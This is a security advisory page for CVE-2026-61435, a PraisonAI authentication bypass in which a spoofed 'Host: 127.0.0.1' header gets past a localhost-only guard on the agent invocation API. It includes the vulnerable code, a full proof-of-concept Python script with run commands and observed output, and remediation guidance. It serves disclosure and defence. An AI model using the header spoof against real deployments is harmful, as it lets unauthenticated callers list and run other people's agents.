CVE-2026-61435: PraisonAI Authentication Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-2gpf-2492-q9jh
CVSS 8.2
CWE-287 CWE-306 CWE-346
Published
Advisory Summary

CVE-2026-61435 is a HIGH (CVSS 8.2) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves call api localhost-only authentication bypass via spoofed host header. Remediation is available by upgrading affected packages to version 4.6.78.

CVE-2026-61435 at a Glance

CVE Identifier CVE-2026-61435
GHSA Identifier GHSA-2gpf-2492-q9jh
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-287: Improper Authentication
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-61435

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.78
pip install praisonai>=4.6.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61435, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.78), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` The negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution. ## Impact An unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`. Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family. Suggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context. ## Suggested Fix Do not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback. Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`. Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs. ## Affected Package/Versions Affected package: `praisonai` on PyPI. Confirmed affected: - `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33` - current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62` `v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally. Fixed version: unknown. ## Advisory History I checked the repository advisory list available through GitHub and found adjacent but distinct advisories: - `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header. - `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `>= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`. - `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents >= 0.6.0, < 1.6.58` and `praisonai >= 3.10.0, < 4.6.58`, with patches listed as `praisonaiagents >= 1.6.59` and `praisonai >= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved. - `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`. - `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input. No advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`. ## References - `src/praisonai/praisonai/api/agent_invoke.py` - `src/praisonai/praisonai/cli/features/serve.py` - `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6 - `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq - `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx - `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp - `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29 ## Appendix A - Full PoV Script ```python #!/usr/bin/env python3 """PoV for PraisonAI call API Host-header localhost guard bypass.""" from __future__ import annotations import importlib import json import os import sys from pathlib import Path from typing import Any def _repo_root() -> Path: if len(sys.argv) == 2: return Path(sys.argv[1]).resolve() return Path.cwd().resolve() def _load_agent_invoke(repo_root: Path, auth_disabled: bool): os.environ.pop("CALL_SERVER_TOKEN", None) if auth_disabled: os.environ["PRAISONAI_CALL_AUTH"] = "disabled" else: os.environ.pop("PRAISONAI_CALL_AUTH", None) package_root = repo_root / "src" / "praisonai" if not package_root.exists(): raise SystemExit(f"missing PraisonAI package root: {package_root}") package_root_s = str(package_root) if package_root_s not in sys.path: sys.path.insert(0, package_root_s) import praisonai.api.agent_invoke as agent_invoke agent_invoke = importlib.reload(agent_invoke) agent_invoke._agent_registry.clear() return agent_invoke class StubAgent: def __init__(self) -> None: self.calls: list[str] = [] def start(self, message: str) -> str: self.calls.append(message) return f"stub-agent-ran:{message}" def _make_client(agent_invoke: Any): from fastapi import FastAPI from fastapi.testclient import TestClient app = FastAPI() app.include_router(agent_invoke.router) return TestClient(app, base_url="http://external.example") def main() -> int: repo_root = _repo_root() fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False) fail_closed_client = _make_client(fail_closed_mod) fail_closed = fail_closed_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True) agent = StubAgent() disabled_mod.register_agent("pov-agent", agent) disabled_client = _make_client(disabled_mod) external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) result = { "repo_head": _git(repo_root, "rev-parse", "HEAD"), "fail_closed_without_token_status": fail_closed.status_code, "disabled_auth_external_host_status": external_host.status_code, "disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code, "disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code, "spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke), "stub_agent_calls": agent.calls, } expected = ( fail_closed.status_code == 503 and external_host.status_code == 503 and spoofed_localhost_list.status_code == 200 and spoofed_localhost_invoke.status_code == 200 and agent.calls == ["host-header-bypass"] ) result["vulnerable"] = expected print(json.dumps(result, indent=2, sort_keys=True)) return 0 if expected else 1 def _safe_json(response: Any) -> Any: try: return response.json() except Exception: return response.text def _git(repo_root: Path, *args: str) -> str: import subprocess return subprocess.check_output( ["git", "-C", str(repo_root), *args], text=True, stderr=subprocess.DEVNULL, ).strip() if __name__ == "__main__": raise SystemExit(main()) ```

CVE-2026-61435 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.78
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.6.78
4.6.78

References

Frequently Asked Questions

What is CVE-2026-61435?
CVE-2026-61435 is a security vulnerability in PraisonAI involving Call API localhost-only authentication bypass via spoofed Host header under CWE-287: Improper Authentication.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.78 across affected packages: praisonai.
What version fixes CVE-2026-61435?
Upgrading to 4.6.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.78. Upgrade your dependency to 4.6.78 or later.
What is the CVSS score of CVE-2026-61435?
CVE-2026-61435 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-61435?
CVE-2026-61435 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for CVE-2026-61435?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2gpf-2492-q9jh",
  "modified" : "2026-10-08T19:36:27Z",
  "published" : "2026-10-08T19:36:26Z",
  "aliases" : [ "CVE-2026-61435" ],
  "summary" : "PraisonAI: Call API localhost-only authentication bypass via spoofed Host header",
  "details" : "# Call API localhost-only authentication bypass via spoofed Host header\n\n## Summary\n\nPraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.\n\n## Technical Details\n\nThe affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:\n\n```python\n_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})\n\ndef _bind_host_from_request(request: Request) -> str:\n    host = getattr(getattr(request, 'url', None), 'hostname', None)\n    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')\n\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:\n    if _call_auth_disabled():\n        bind_host = _bind_host_from_request(request)\n        if bind_host not in _LOCALHOST_HOSTS:\n            raise HTTPException(\n                status_code=503,\n                detail=\"PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding\",\n            )\n        return\n```\n\nThe violated invariant is that \"localhost binding\" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.\n\nThe protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.\n\nThis is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.\n\n## PoV\n\nthe PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.\n\n```python\ndisabled_client = TestClient(app, base_url=\"http://external.example\")\n\nexternal_host = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"external.example\"},\n)\nspoofed_localhost_list = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"127.0.0.1\"},\n)\nspoofed_localhost_invoke = disabled_client.post(\n    \"/api/v1/agents/pov-agent/invoke\",\n    headers={\"host\": \"127.0.0.1\"},\n    json={\"message\": \"host-header-bypass\"},\n)\n```\n\nExpected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.\n\nThe complete PoV script is in Appendix A.\n\n## PoC\n\nRun from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:\n\n```bash\ngit checkout v4.6.62\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved `v4.6.62` output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"2a855c470077c7d2e2479a575f7ef7f548d51c33\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nRun the same script against current main:\n\n```bash\ngit checkout 846568c7a5d8ce9e71e56e4c213f027c04909753\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved current-head output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nThe negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.\n\n## Impact\n\nAn unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.\n\nImpact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.\n\nSuggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.\n\nSuggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.\n\n## Suggested Fix\n\nDo not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.\n\nConsider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.\n\nRegression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.\n\n## Affected Package/Versions\n\nAffected package: `praisonai` on PyPI.\n\nConfirmed affected:\n\n- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33`\n- current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`\n\n`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.\n\nFixed version: unknown.\n\n## Advisory History\n\nI checked the repository advisory list available through GitHub and found adjacent but distinct advisories:\n\n- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header.\n- `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `>= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`.\n- `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents >= 0.6.0, < 1.6.58` and `praisonai >= 3.10.0, < 4.6.58`, with patches listed as `praisonaiagents >= 1.6.59` and `praisonai >= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.\n- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`.\n- `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.\n\nNo advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.\n\n## References\n\n- `src/praisonai/praisonai/api/agent_invoke.py`\n- `src/praisonai/praisonai/cli/features/serve.py`\n- `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6\n- `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq\n- `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx\n- `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp\n- `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI call API Host-header localhost guard bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport importlib\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _repo_root() -> Path:\n    if len(sys.argv) == 2:\n        return Path(sys.argv[1]).resolve()\n    return Path.cwd().resolve()\n\n\ndef _load_agent_invoke(repo_root: Path, auth_disabled: bool):\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    if auth_disabled:\n        os.environ[\"PRAISONAI_CALL_AUTH\"] = \"disabled\"\n    else:\n        os.environ.pop(\"PRAISONAI_CALL_AUTH\", None)\n\n    package_root = repo_root / \"src\" / \"praisonai\"\n    if not package_root.exists():\n        raise SystemExit(f\"missing PraisonAI package root: {package_root}\")\n    package_root_s = str(package_root)\n    if package_root_s not in sys.path:\n        sys.path.insert(0, package_root_s)\n\n    import praisonai.api.agent_invoke as agent_invoke\n\n    agent_invoke = importlib.reload(agent_invoke)\n    agent_invoke._agent_registry.clear()\n    return agent_invoke\n\n\nclass StubAgent:\n    def __init__(self) -> None:\n        self.calls: list[str] = []\n\n    def start(self, message: str) -> str:\n        self.calls.append(message)\n        return f\"stub-agent-ran:{message}\"\n\n\ndef _make_client(agent_invoke: Any):\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n\n    app = FastAPI()\n    app.include_router(agent_invoke.router)\n    return TestClient(app, base_url=\"http://external.example\")\n\n\ndef main() -> int:\n    repo_root = _repo_root()\n\n    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)\n    fail_closed_client = _make_client(fail_closed_mod)\n    fail_closed = fail_closed_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n\n    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)\n    agent = StubAgent()\n    disabled_mod.register_agent(\"pov-agent\", agent)\n    disabled_client = _make_client(disabled_mod)\n\n    external_host = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"external.example\"},\n    )\n    spoofed_localhost_list = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n    spoofed_localhost_invoke = disabled_client.post(\n        \"/api/v1/agents/pov-agent/invoke\",\n        headers={\"host\": \"127.0.0.1\"},\n        json={\"message\": \"host-header-bypass\"},\n    )\n\n    result = {\n        \"repo_head\": _git(repo_root, \"rev-parse\", \"HEAD\"),\n        \"fail_closed_without_token_status\": fail_closed.status_code,\n        \"disabled_auth_external_host_status\": external_host.status_code,\n        \"disabled_auth_spoofed_localhost_list_status\": spoofed_localhost_list.status_code,\n        \"disabled_auth_spoofed_localhost_invoke_status\": spoofed_localhost_invoke.status_code,\n        \"spoofed_localhost_invoke_body\": _safe_json(spoofed_localhost_invoke),\n        \"stub_agent_calls\": agent.calls,\n    }\n\n    expected = (\n        fail_closed.status_code == 503\n        and external_host.status_code == 503\n        and spoofed_localhost_list.status_code == 200\n        and spoofed_localhost_invoke.status_code == 200\n        and agent.calls == [\"host-header-bypass\"]\n    )\n    result[\"vulnerable\"] = expected\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if expected else 1\n\n\ndef _safe_json(response: Any) -> Any:\n    try:\n        return response.json()\n    except Exception:\n        return response.text\n\n\ndef _git(repo_root: Path, *args: str) -> str:\n    import subprocess\n\n    return subprocess.check_output(\n        [\"git\", \"-C\", str(repo_root), *args],\n        text=True,\n        stderr=subprocess.DEVNULL,\n    ).strip()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61435"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62174"
  }, {
    "type" : "WEB",
